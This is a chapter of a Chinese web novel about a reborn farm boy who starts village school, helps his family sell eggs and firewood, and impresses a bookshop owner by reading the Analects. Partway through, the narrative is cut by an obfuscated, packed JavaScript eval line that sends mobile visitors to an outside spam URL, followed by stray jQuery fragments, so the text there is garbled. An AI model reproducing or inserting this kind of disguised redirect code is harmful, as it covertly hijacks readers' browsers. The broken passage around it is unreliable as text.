文趣网 > 都市小说 > 农家子的科举名臣路 > 30. 宝牛进城卖柴
    学堂在村里,离家近。

    这有个好处,就是中午放学,孩子们都能回家吃饭,顺道还能睡个晌午觉。

    不得不说,学堂的上学时间安排的挺合理的。

    上午:辰时初(早上7点)——巳时末(中午11点)

    下午:未时初(下午2点)——申时末(下午5点)

    这个时间是不固定的,根据天气冷暖,天色长短随时变化。

    就像现在冬天,天亮的晚,黑的早。

    担心孩子天黑看不清路,夫子就会调整教学时间,让学生晚来早走。

    学堂还有休沐,每上六天休息一天,碰上节日以及特别恶劣的雨雪天气也是不上课的。

    赵敬文中午放学回家。

    “狗蛋,今天第一天上学堂,感觉怎么样?”

    “学堂有多少人?都有谁在啊?”

    “夫子今天教你什么了?”

    一回到家中,就受到家里人关心好奇的询问,他挨个回答了她们提出的问题。

    其中五姐赵巧荷问的问题最多,最细。

    她一会儿问:“学堂长什么样子?夫子长什么样子?”

    一会儿又问:“都有多大年纪的孩子在读书?有没有女孩子?”

    赵敬文听到这,瞬间就明白了,看着五姐希冀的眼神。原来这个家里,不止有他一个渴望读书的孩子。

    五姐也想要读书,可能其他没有勇气开口问的姐姐,也有这样的想法。

    那村里其他的女孩儿呢!?

    她们是不是也想读书?

    丁翠娥在一边听到了,笑着骂了一句,“你个傻丫头,哪有女孩子读书的?”

    赵巧荷不好意思的吐了吐舌头。

    赵敬文知道五姐聪明,脑筋转的快。

    从三姐草鞋破了那天,三姐跟他争吵,上头时说了一些气话。四姐怕动静闹大了,他去找奶奶告状。五姐却反应很快,立马开始哄他,说给他找刺莓吃,让他别跟奶奶告状的时候,他就知道五姐聪明。

    在古代,确实很少有家庭送女孩儿去读书。

    赵敬文费了九牛二虎之力,好不容易才让家里送他去读书。

    现在虽然没办法让姐姐们也去学堂读书,但抽时间教她们读书识字却是可以的。

    毕竟教平哥,安哥两个人是教,再多几个姐姐也不是问题。

    说实话,赵敬文没有想到,他上学堂能这么快。

    连提前登门拜访都没有,爷爷直接领着俩孙子到学堂门口,跟夫子说他俩要读书,夫子就让他俩进去了。

    不是,现在想想,还是觉得有点草率。

    这跟他想的完全不一样。

    在赵敬文原本的计划里,他预计先向家里人展示一下,他的读书能力,吃苦好学,乖巧懂事。

    看!

    这孩子又聪明又懂事,送他去读书吧,考个秀才,家里从此就改换门庭了。

    事实证明,他的这个方法确实成功了,家人看到了他的刻苦,送他去学堂。

    但是说好的,上学堂要交束脩呢!

    听禾哥说,要提前拜访,托人引荐,再送拜师礼,乱七八糟的一大堆繁杂的程序。就这样夫子还不一定会收你。

    夫子收学生,也是要考校学问的。

    再不济,也是要看看这个孩子的反应能力,如果是块教化不透的木头,夫子也不会收这样的学生,败自己名声。

    嗯,古代的学堂,也是注重‘升学率’的。

    如果教出了一个秀才,那好家伙,紧接着学堂就会被蜂拥而至,前来求学的人,踏破门槛。

    就相当于,你一个小县城的母校,教出了一个考上‘985、211’的学生,那名声瞬间就打出去了。

    今天儿子去学堂,太仓促了,田有花啥都没准备,上午她和春草紧赶慢赶,做出了两个斜挎包。

    还是用碎布拼接的,跟赵敬文穿的衣服,一看就很搭。

    赵仁实张罗着给俩孙子做沙盘。

    丁翠娥抓紧时间编蒲团,应狗蛋的要求,要做的大一点,厚一点,要不然冬天坐地上冻屁股。

    “来,转个圈。”

    赵敬文、赵敬平两人挎着新做的小布包,在娘的要求下,慢慢的转了个圈。

    木春草瞅着儿子傻不愣登的样,笑:“还挺像个样。”

    田有花看着狗蛋,俩孩子站一起,一对比,狗蛋个头比三弟妹家的矮太多了,身子也没有平哥壮实,虽然两人差了几岁,但她还是觉得儿子身板有些弱。

    得补。

    “春草,我记得你前两天,到牲畜行来着。牲畜行那里有没有产奶的母羊啊?”

    木春草心里一咯噔,以为自己家要买牛的事被发现了,听到大嫂说了后半句,她松了口气,“没有,牲畜行卖的大多都是公羊,你买母羊得碰运气。”

    在农村,母猪,母牛,母羊,可以产崽,相当于一只会下金蛋的母鸡。

    一般情况,农户很少卖。

    “大嫂,你问母羊做什么?”

    田有花有些担忧的看着狗蛋,“我听人家说,有些富贵人家的小姐少爷,从小到大一直喝羊奶,喝到十几岁,身体都非常的康健,平常极少生病。我想着也买一只羊,让狗蛋喝奶补补身体。”

    木春草看着俩孩子,狗蛋跟自己儿子一对比,是有点瘦弱了。

    怪不得田有花着急。

    看,她把两个儿子养的多好,多壮实,木春草心里忍不住有些得意。

    “嫂子,要不等我下次回娘家,我问问我爹,他常年在各个村子杀羊宰猪,说不定会有农户家产了小母羊,到时候给你说。”

    田有花:“那真是太感谢春草了。”

    在一旁听娘说要买羊,赵敬文心里十分激动,不枉费他经常在娘耳边念叨,喝羊奶对身体好,强身健体,不容易生病,说了这么多天,终于见效了。

    喝奶补钙,长个啊!

    做为一个男人,怎么会对身高没有追求!

    他想要185的身高!

    他想要大长腿!

    优越的头身比!

    每天吃野菜,窝窝头,营养根本就跟不上小孩子的骨骼发育,这可是一辈子的事情。

    所以赵敬文费尽心思,捉鱼虾,养殖肉兔,养鸡下蛋,就差一只母羊,他就凑齐鱼肉蛋奶了。

    上了几天学堂。

    赵敬文发现学堂大部分小孩,非常不适应夫子的教学模式。

    夫子教他们的时候,他们跟着学,一旦夫子转头教别的学生,他们就开始说话,扣手,搞小动作。

    他们不适应,赵敬文却觉得如鱼得水。

    他现在已经完全掌握了《三字经》,里面有很多文字重复出现在《百家姓》、《千字文》、《弟子规》中。

    一个成年人的脑袋,背过这些只需要几天的时间,但是想要熟练的掌握文字的书写应用,还是稍微有几分难度的。

    难也难不到哪儿去,练习个一两天,也就会了。

    赵敬文现在完全能跟得上夫子的教学进度,甚至觉得他教的还有些慢。

    “弟子规,圣人训。首孝悌,次谨信。泛爱众,而亲仁。有余力,则学文......”

    夫子开始教大家《弟子规》的内容,像这种跟读的环节,是不分年龄阶段的孩子,全部都要跟读的。

    大家只管摇头晃脑,张着嘴巴念,啥意思虽然听不懂,但是读的次数多了,知识也会在脑子里留下一丝丝印记。

    孩童清脆的读书声,从学堂里传出来,传到初冬落雪的屋檐,袅袅升起的炊烟,树叶落尽的赵家村。

    在家门口聚在一起,搓麻绳聊天的几位婶娘,听见孩子的读书声相视一笑,聊起孩子读书的话题来。

    “翠娥婶,听说你家俩孙子都送学堂啦?”

    “就是送他们去识几个字罢了。”

    丁翠娥正挎着竹篓,挨家挨户的收鸡蛋,一文钱收两个,跟货郎一样的价,而且是当场结账。

    村里很多人家都把鸡蛋卖给她。

    冬天下雪冷,去一趟镇上冻手冻脚,要是得了风寒,可就得不偿失了。

    再者说,有些人家就养了几只鸡,一天也下不了三四个鸡蛋,要是攒着去镇上卖,得攒到什么时候?

    还有路上磕坏,碰坏的,再加上‘摊位费’,冬天卖鸡蛋的人又多,镇上的买家还会压价。

    综上所述,去镇上卖鸡蛋太麻烦了。

    但赵敬文却跟奶奶说,“奶奶,冬天没事儿,我教你跟娘孵小鸡。集市上一只小鸡仔能卖五六文呢。”

    丁翠娥心里一盘算,这买卖可以做,于是她开始隔三差五的去镇上卖鸡蛋。

    孙子卖鸡蛋的法子她学会了,大的一堆,小的一堆。这样卖,还真有不少人买。

    虽然现在,已经陆陆续续的有很多卖鸡蛋的摊主开始模仿她,但是因为临近过年,镇上对鸡蛋的需求量大,她还是能赚回本钱来的。

    其实这些她拿到镇上售卖的鸡蛋,已经是被挑拣过一轮的。

    孵小鸡的蛋,可不是随便一颗鸡蛋都行的。

    这枚‘种子蛋’,首先要外壳完整,个头匀称,无外部污染,比如进水发霉。

    其次,也是最重要的一点,这枚鸡蛋必须要受、精。

    这样,才会有生命,慢慢在鸡蛋里发育,最后变成一只破壳而出的小鸡。否则,它就是一颗普通的鸡蛋而已。

    古代没有手电筒,探照灯这些设备,怎样判断鸡蛋是否成功受、精呢?

    那还是有一天,赵敬文在灶膛烤鸡蛋的时候,突发奇想,把鸡蛋对准火光,透过火光去看薄薄的鸡蛋壳,隐隐约约的看到一个小黑点,像一只小眼睛,还有几条丝线一样的东西。

    这样的鸡蛋,就是成功受、精的。

    丁翠娥仔细的收好鸡蛋,然后从兜里摸出铜钱递给几个人,然后就去下一家。

    她走后,几个婶娘看着她的背影。

    大壮娘:“听我家大壮说,她家狗蛋可厉害了,进学堂的第一天就背了《三字经》全文呢!还会写呢!”

    胖婶点头赞同:“我家铁牛回去也跟我说来着,狗蛋才几岁啊?啧啧啧,可了不得。”

    大壮娘:“她家三个孙子都送去读书了,这得多少钱啊?老两口也真舍得。”

    胖婶:“这有什么,我要是有狗蛋这样的孩子,我也送!!!”

    谁说不是呢!

    ***

    赵宝牛坐在柴火上,他跟爹还有两个弟弟,现在每天都来镇上卖柴火。

    坐着长时间不动,有些冻脚,赵宝牛忍不住跺跺脚,站起来走两步。

    他揣着手,头上带着棉帽,在儿子的建议下,让他娘在耳朵边上做了加长,现在可以把两只耳朵也盖住,最后在下巴系上,整个脑袋就被包裹的严严实实。

    冬天县城涌现出很多卖柴火的农户,他们挑着一担重重的柴,走过蜿蜒泥泞的山路,穿过风雪,来到镇上。

    卖柴火的人太多了。

    每个农户都想在过年前,赚点钱补贴家用,有些人等了一天也碰不上买主,到下午只能贱卖。

    本来冬天能卖六文钱一担的柴火,为了不再挑回家,两文三文也卖。

    今天学堂休沐,赵敬文缠着爹带他来县城。

    爷爷和爹卖柴,他就老老实实的窝在墙角背风处。

    大半天也不见生意上门,赵仁实抬头看了看天,也准备大降价,就跟前两天一样。

    不管怎么说,三文两文给钱就卖!柴火这东西,山里到处都是,不值钱。

    他费力挑回去作甚?

    “你这柴怎么卖?”正想着生意就上门了。

    赵仁实弯着腰,小心赔笑。

    风吹的他脸都干巴,扯嘴笑的时候,嘴唇过干猛地一扯,裂了一道口子,鲜血顿时渗了出来,赵仁实面色不改的抿了抿唇,把血舔进嘴里:“4文钱一担。”

    带着棉帽的男人皱眉,上来就狠狠砍价,“两文,卖不卖?”

    “哎哟,这位老爷,两文钱,小老汉连吃饭的钱都不够啊。这样,三文钱一担,你看行不?”赵仁实想着再跟他砍砍价,多赚一文钱也是好的。

    棉帽男人翻了个白眼:“不卖算了,反正这里一堆卖柴火的,你不卖有的是人卖!”

    他说完转身就走。

    赵仁实在背后赶紧喊:“卖了,回来!卖你了。”

    可棉帽男人头都不回的走向下一个卖柴火的。

    赵宝牛伸着脖子看男人花两文钱买了另一个人的柴火,忍不住抱怨:“爹,两文就两文呗。你看人家都卖了,这里这么多人,咱得等到什么时候?”

    两文钱

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17889175|212687||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    也行!能给狗蛋买个肉饼了。

    赵仁实沉默的舔着嘴角的血迹,没吭声。

    确实如男人说的一样,这里有很多卖柴火的农户,起码有上百个。

    这个角落经过长时间的推演,慢慢的变成了卖柴火的专用地,只要卖柴,农户就会挑来这里卖,镇上的居民想要买柴火,第一时间想到的也是来这儿。

    赵敬文在墙角歪着头目睹了一切,看着爷爷和爹苦着脸,既心酸又心疼,费了这么大力气挑来的柴火,才卖两文。

    “爷爷,你为什么不跟村里的货郎一样,走街串巷的卖呢?总有一些冬天不喜欢出门的婶娘,她们挑不动柴,听见门口有卖柴火的说不定会囤上一担,就像奶奶过年屯米粮油盐一样。”

    对呀。

    赵仁实听了小孙子的话,豁然开朗。

    赵宝牛眼睛都亮了:“对啊,还是狗蛋聪明。”

    那些大姑娘、小媳妇挑不动柴火,不愿出门,他们可以送货上门啊。

    赵敬文看着路边都是卖柴火的,一担一担的分量十足,树枝一个赛一个的粗壮,生怕买家觉得不够分量。

    他状似不经意的提出一个疑问,“好奇怪,我看姐姐生火的时候,都用松树毛点火,这里怎么没有卖的呢?镇上的人是干烧树枝吗?”

    卖东西,首先要站在顾客的需求角度去思考问题。

    买卖,买卖。

    先有买,再有卖!

    替顾客解决了生火这个难题,柴火不愁卖!

    赵宝牛听了跺脚赞同:“对啊!对啊!我们可以搭着引火草卖啊。”

    引火草轻不压称啊!在柴火里夹上一点,完全没问题。

    松毛野草山里到处都是,镇上可没有啊!

    赵仁实和三个儿子越听眼睛越亮,看赵敬文的眼神就像是看什么大宝贝一样。

    他们卖了几天柴,感情都没动脑子啊!

    得亏狗蛋点醒了他们!

    赵仁实当即决定带着三个儿子,走街串巷卖柴火。

    可是这样,狗蛋就没地方去了,孩子太小,长时间吹冷风受寒发热了怎么办?

    回家,老婆子不得撕了他?

    赵敬文看出了爷爷的为难,他早就瞄好了一个去处,主动开口:“爷爷,我看街边有一家【林记书铺】,我在那里避避风,等你们来接我。”

    听了孙子的话,赵仁实点头,示意赵宝牛去送。

    【林记书铺】

    这个点,书铺里没有顾客,掌柜窝在柜台后面打算盘。

    见有人来了,赶紧出来招呼,“客官,看看需要点什么?”

    掌柜是一个中年男人,看着挺和气的,并没有因为赵敬文父子穿的破烂而露出轻视的眼神。

    赵宝牛有些不好意思的说:“掌柜,能让孩子在这里避避风吗?我一会儿就来接他。”

    看着这小孩虽然穿的一身碎布衣服,看着跟小叫花似的,但白白嫩嫩的,用清澈明亮的眼睛看着你,还冲你萌萌的笑,挺乖巧懂事的,一看就是被养的很好。

    书铺掌柜点头答应了,小事,让孩子在店里避避风,对他来说没有任何损失。

    看着父子俩也不容易,能帮一把就帮一把吧。

    见掌柜答应了,赵宝牛诚恳的弯腰道谢,然后嘱咐狗蛋不要乱碰店里的东西,在这里乖乖等爹回来,就急匆匆的离开了。

    掌柜也没管赵敬文,又回到柜台打算盘去了。

    赵敬文抬头看着这间书铺,地上铺着木制地板,应该是为了隔绝泥土里的湿气,怕书受潮。

    一进门,正面的墙上,挂着好几幅字画。

    正中间挂着一张大大的‘松鹤图’,整幅画只用了简单的墨色,就让人感受到了青松落雪,有一种游脱世外的悠然,尤其那只鹤,画的特别传神,唯妙唯俏的,赵敬文盯着看了好久。

    左右两面墙上,是定制的榆木书架,上方是一层一层的书架,摆满了线装书。下面是大大的柜台,高度刚好到赵敬文下巴的位置,台面摆放了一些文房四宝,还有书袋,笔筒,笔架,笔洗,墨水之类的东西。

    空气中有一股淡淡的墨香,旧书、纸张与墨水融合在一起,形成了一种独特的书香味。

    赵敬文眼尖的看到右侧的柜台上,摆放着一本摊开的书。

    “爷爷,我能看看这本书吗?”

    掌柜的闻言有些惊讶抬头,“你要看书?你识字吗?”

    赵敬文摸摸鼻子,用小手笔画:“会一点点。”

    掌柜的没当回事儿,以为小孩子单纯就是好奇,想翻书玩,他瞄了一眼,柜台上摆着的书。

    哦,是《论语·为政篇》。

    “看吧,不能弄坏,弄坏了,我就把你扣在这里,不让走了。”掌柜的看着这个白团子,忍不住出声逗弄,想吓唬吓唬他。

    赵敬文当然不会被吓住,他先是道过谢,然后小心翼翼的翻开一页书。

    薄薄的一页纸,上面印着一个个整齐的文字,凑近了闻似乎还带着一股墨香。

    难道,这就是知识的味道吗?

    好香啊。

    赵敬文如捧着珍宝一般,小心翼翼的翻着书,这是他在这个世界上,摸到的第一本书。

    纸张轻薄,但好似又重如千斤。

    掌柜看他认真看书的模样乐了,“怎么,你还真认字啊?”

    他可不信,一个穿的破破烂烂,穷的穿一身碎布拼成的衣服的5岁小孩会识字,看他爹就知道了,一准的是在地里抛食的。就他这样的家庭,就算送孩子读书,5岁的孩子也认不了几个字。

    赵敬文转头,“我会啊。”

    看着小孩认真的眼神,林掌柜皱眉,“那你念给我听听。”

    他还不信了,这个小孩能认几个字!

    赵敬文知道掌柜这是要考自己,要是表现的好了,说不定以后能经常在这里看书。

    为了能让掌柜的听清楚,他特意捧着书跑到掌柜身边,“子曰:为政以德,譬如北辰居其所而众星共之。子曰:《诗》三百,一言以蔽之,曰:思无邪。子曰:......”

    听着干净清脆的童声在自己耳边响起,掌柜眼睛慢慢的瞪大了。

    他不信邪的低头看了看书上的字。

    还真对上了。

    不是,这小孩真的认字啊?

    他才几岁啊?